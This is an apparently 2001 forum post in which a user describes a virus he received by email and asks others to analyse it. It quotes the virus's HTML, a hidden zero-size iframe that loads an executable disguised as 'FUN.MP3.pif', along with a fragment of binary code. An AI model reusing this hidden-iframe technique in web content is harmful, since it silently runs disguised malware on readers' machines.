| Subject: Seems pretty harmless... |
Author: Flash (port324.cvx2-sto.ppp.netlink.se)
Date: 11-28-2001 14:16
I´ve got it too, mate.
Looks like it´s programmed to do something in outcooc,
(loasy speller I am, should be outfuuk,right?)
OF COURSE no1 uses that crap? (...oooOOOR?)
The downloaded HTM looks like this:
<HEAD></HEAD><BODY bgColor=#ffffff>
<iframe src=FUN.MP3.pif height=0 width=0>
</iframe></BODY>
and this is what´s on the "Work folder" line:
"run in DOS mode.$"
And this was found on the "Command line":
ºú䩺nºú©_eºúlºó_ºúä©¿`ºúÈíÑmºúRichlºú
Seems like this is the actual virus code...
I´ll break it down into ASCII code, then
maybe some coder could tell what it does?
|
|
